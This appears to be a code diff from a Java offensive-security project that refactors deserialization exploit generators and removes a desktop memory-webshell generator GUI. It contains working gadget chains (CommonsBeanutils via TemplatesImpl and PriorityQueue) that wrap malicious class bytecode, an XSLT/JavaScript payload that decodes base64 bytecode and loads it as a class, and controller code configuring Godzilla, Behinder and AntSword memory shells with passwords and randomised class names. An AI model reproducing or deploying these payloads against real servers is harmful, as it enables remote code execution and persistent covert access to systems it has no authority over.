import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JavaDeserializeGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes);
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(obj);
|
||||
oos.flush();
|
||||
oos.close();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public interface Payload {
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @param className 恶意类名
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes, String className) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Getter
|
||||
public enum PayloadType {
|
||||
/**
|
||||
* CB 链
|
||||
*/
|
||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||
|
||||
/**
|
||||
* Hessian XSLT write
|
||||
*/
|
||||
XSLTScriptEngine(new XSLTScriptEngine())
|
||||
;
|
||||
|
||||
private final Payload payload;
|
||||
|
||||
PayloadType(Payload payload) {
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
public static PayloadType getPayloadType(String payloadType) {
|
||||
for (PayloadType value : values()) {
|
||||
if (value.name().equals(payloadType)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||
}
|
||||
}
|
||||
+4
-7
@@ -1,14 +1,12 @@
|
||||
package com.reajason.javaweb.packer.deserialize;
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,9 +20,8 @@ public class TemplateUtils {
|
||||
byte[] fooBytes;
|
||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||
.subclass(Object.class).name("foo")
|
||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||
.make()) {
|
||||
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
|
||||
fooBytes = make.getBytes();
|
||||
}
|
||||
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||
+8
-6
@@ -1,7 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
package com.reajason.javaweb.deserialize.payload.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.utils.HessianUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import javax.swing.*;
|
||||
@@ -13,9 +14,10 @@ import java.util.HashMap;
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class XSLTScriptEngine {
|
||||
public class XSLTScriptEngine implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public static Object generate(byte[] bytes, String className) {
|
||||
public Object generate(byte[] bytes, String className) {
|
||||
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||
|
||||
String tmpPath = "/tmp/CACHE_XML";
|
||||
@@ -24,7 +26,7 @@ public class XSLTScriptEngine {
|
||||
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||
" <xsl:template match=\"/\">\n" +
|
||||
" <xsl:variable name=\"js\" select=\""var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), 0),java.lang.Thread.currentThread().getContextClassLoader());var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||
" <xsl:value-of select=\"$result\"/>\n" +
|
||||
" </xsl:template>\n" +
|
||||
+10
-14
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils110Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils110 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -38,9 +34,9 @@ public class CommonsBeanutils110Packer implements Packer {
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
-14
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils16Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils16 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -40,8 +36,8 @@ public class CommonsBeanutils16Packer implements Packer {
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+11
-14
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -18,16 +16,15 @@ import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils18Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils18 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -40,8 +37,8 @@ public class CommonsBeanutils18Packer implements Packer {
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
-13
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -20,13 +18,12 @@ import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils19Packer implements Packer {
|
||||
|
||||
public class CommonsBeanutils19 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
@@ -38,8 +35,8 @@ public class CommonsBeanutils19Packer implements Packer {
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
package com.reajason.javaweb.deserialize.utils;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
+4
-1
@@ -1,7 +1,10 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
package com.reajason.javaweb.deserialize.utils;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||
import sun.reflect.ReflectionFactory;
|
||||
import sun.security.pkcs.PKCS9Attributes;
|
||||
|
||||
import java.lang.reflect.AccessibleObject;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
@@ -1,33 +0,0 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("application")
|
||||
}
|
||||
|
||||
group = "com.reajason.javaweb"
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator"))
|
||||
implementation(project(":packer"))
|
||||
implementation("com.formdev:flatlaf:3.7")
|
||||
implementation("com.miglayout:miglayout-swing:5.3")
|
||||
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
application {
|
||||
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell;
|
||||
|
||||
import com.formdev.flatlaf.FlatLightLaf;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class MemShellDesktopApplication {
|
||||
public static void main(String[] args) {
|
||||
FlatLightLaf.setup();
|
||||
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
|
||||
}
|
||||
}
|
||||
-331
@@ -1,331 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.controller;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class MemShellFormController {
|
||||
private final ConfigCatalogService configCatalogService;
|
||||
private final MemShellValidator validator;
|
||||
private final ConfigCatalogService.ConfigCatalog catalog;
|
||||
private final MemShellFormState state = new MemShellFormState();
|
||||
|
||||
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
|
||||
this.configCatalogService = configCatalogService;
|
||||
this.validator = validator;
|
||||
this.catalog = configCatalogService.load();
|
||||
reconcileAfterServerChange(true);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
|
||||
public MemShellFormState getState() { return state; }
|
||||
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
|
||||
public MemShellValidator getValidator() { return validator; }
|
||||
|
||||
public List<String> getServers() {
|
||||
return new ArrayList<>(catalog.getServers().keySet());
|
||||
}
|
||||
|
||||
public List<String> getServerVersionOptions() {
|
||||
return configCatalogService.getServerVersionOptions(state.getServer());
|
||||
}
|
||||
|
||||
public List<String> getShellTools() {
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null) return Collections.emptyList();
|
||||
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
|
||||
tools.add(ShellTool.Custom);
|
||||
return new ArrayList<>(tools);
|
||||
}
|
||||
|
||||
public List<String> getCustomShellTypes() {
|
||||
List<String> values = catalog.getServers().get(state.getServer());
|
||||
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||
}
|
||||
|
||||
public List<String> getShellTypesForCurrentTool() {
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null) return Collections.emptyList();
|
||||
if (ShellTool.Custom.equals(state.getShellTool())) {
|
||||
return getCustomShellTypes();
|
||||
}
|
||||
List<String> values = toolMap.get(state.getShellTool());
|
||||
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||
}
|
||||
|
||||
public List<PackerEntryModel> getFilteredPackers() {
|
||||
List<PackerEntryModel> out = new ArrayList<>();
|
||||
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||
for (PackerEntryModel p : c.getPackers()) {
|
||||
if (p.isCategoryAnchor()) continue;
|
||||
String name = p.getName();
|
||||
String shellType = state.getShellType();
|
||||
String server = state.getServer();
|
||||
if (shellType != null && shellType.startsWith("Agent")) {
|
||||
if (name.startsWith("Agent")) out.add(p);
|
||||
continue;
|
||||
}
|
||||
if (server != null && server.startsWith("XXL")) {
|
||||
if (!name.startsWith("Agent")) out.add(p);
|
||||
continue;
|
||||
}
|
||||
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
|
||||
out.add(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
public PackerEntryModel getSelectedPackerEntry() {
|
||||
String selected = state.getPackingMethod();
|
||||
if (selected == null || selected.trim().isEmpty()) return null;
|
||||
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||
for (PackerEntryModel p : c.getPackers()) {
|
||||
if (selected.equals(p.getName())) return p;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
|
||||
PackerEntryModel p = getSelectedPackerEntry();
|
||||
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
|
||||
}
|
||||
|
||||
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
|
||||
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
|
||||
|
||||
public void setServer(String server) {
|
||||
state.setServer(server);
|
||||
reconcileAfterServerChange(false);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setServerVersion(String version) { state.setServerVersion(version); }
|
||||
|
||||
public void setTargetJdkVersion(String value) {
|
||||
state.setTargetJdkVersion(value);
|
||||
try {
|
||||
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void setShellTool(String tool) {
|
||||
handleShellToolChange(tool);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setShellType(String shellType) {
|
||||
state.setShellType(shellType);
|
||||
state.setUrlPattern("");
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
|
||||
public void setDebug(boolean value) { state.setDebug(value); }
|
||||
public void setProbe(boolean value) { state.setProbe(value); }
|
||||
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
|
||||
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
|
||||
public void setShrink(boolean value) { state.setShrink(value); }
|
||||
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
|
||||
|
||||
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
|
||||
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
|
||||
public void setBehinderPass(String v) { state.setBehinderPass(v); }
|
||||
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
|
||||
public void setCommandParamName(String v) { state.setCommandParamName(v); }
|
||||
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
|
||||
public void setHeaderName(String v) { state.setHeaderName(v); }
|
||||
public void setHeaderValue(String v) { state.setHeaderValue(v); }
|
||||
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
|
||||
public void setEncryptor(String v) { state.setEncryptor(v); }
|
||||
public void setImplementationClass(String v) { state.setImplementationClass(v); }
|
||||
|
||||
public void setShellClassName(String v) {
|
||||
state.setShellClassName(v);
|
||||
autoDisableRandomIfManualNames();
|
||||
}
|
||||
|
||||
public void setInjectorClassName(String v) {
|
||||
state.setInjectorClassName(v);
|
||||
autoDisableRandomIfManualNames();
|
||||
}
|
||||
|
||||
public void setRandomClassName(boolean checked) {
|
||||
state.setRandomClassName(checked);
|
||||
if (checked) {
|
||||
state.setSavedShellClassName(state.getShellClassName());
|
||||
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||
state.setShellClassName("");
|
||||
state.setInjectorClassName("");
|
||||
} else {
|
||||
state.setShellClassName(state.getSavedShellClassName());
|
||||
state.setInjectorClassName(state.getSavedInjectorClassName());
|
||||
}
|
||||
}
|
||||
|
||||
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
|
||||
|
||||
public void setPacker(String packerName) {
|
||||
state.setPackingMethod(packerName);
|
||||
resetPackerCustomConfigToDefaults();
|
||||
}
|
||||
|
||||
public void setPackerCustomField(String key, Object value) {
|
||||
if (value == null) {
|
||||
state.getPackerCustomConfig().remove(key);
|
||||
} else {
|
||||
state.getPackerCustomConfig().put(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
|
||||
|
||||
public boolean isUrlPatternVisible() {
|
||||
return validator.needsUrlPattern(state.getShellType());
|
||||
}
|
||||
|
||||
public boolean isCommandHeaderVisible() {
|
||||
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
|
||||
}
|
||||
|
||||
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
|
||||
|
||||
public boolean isCommandParamVisible() {
|
||||
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
|
||||
}
|
||||
|
||||
public MemShellValidator.Result validate() { return validator.validate(state); }
|
||||
|
||||
private void reconcileAfterServerChange(boolean initial) {
|
||||
List<String> serverVersions = getServerVersionOptions();
|
||||
if (!serverVersions.contains(state.getServerVersion())) {
|
||||
state.setServerVersion(serverVersions.get(0));
|
||||
}
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null || toolMap.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
|
||||
String currentTool = state.getShellTool();
|
||||
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
|
||||
state.setShellTool(nextTool);
|
||||
|
||||
String currentTargetJdk = state.getTargetJdkVersion();
|
||||
int currentJdk = parseInt(currentTargetJdk, 50);
|
||||
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
|
||||
state.setTargetJdkVersion(raise ? "52" : "50");
|
||||
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
|
||||
if (!initial) {
|
||||
state.setUrlPattern("");
|
||||
}
|
||||
|
||||
if (!serverVersions.contains(state.getServerVersion())) {
|
||||
state.setServerVersion(serverVersions.get(0));
|
||||
}
|
||||
ensureShellTypeValidForCurrentTool();
|
||||
}
|
||||
|
||||
private void ensureShellTypeValidForCurrentTool() {
|
||||
List<String> shellTypes = getShellTypesForCurrentTool();
|
||||
if (shellTypes.isEmpty()) {
|
||||
state.setShellType("");
|
||||
return;
|
||||
}
|
||||
if (!shellTypes.contains(state.getShellType())) {
|
||||
state.setShellType(shellTypes.get(0));
|
||||
}
|
||||
}
|
||||
|
||||
private void handleShellToolChange(String value) {
|
||||
if (value == null || value.trim().isEmpty()) return;
|
||||
|
||||
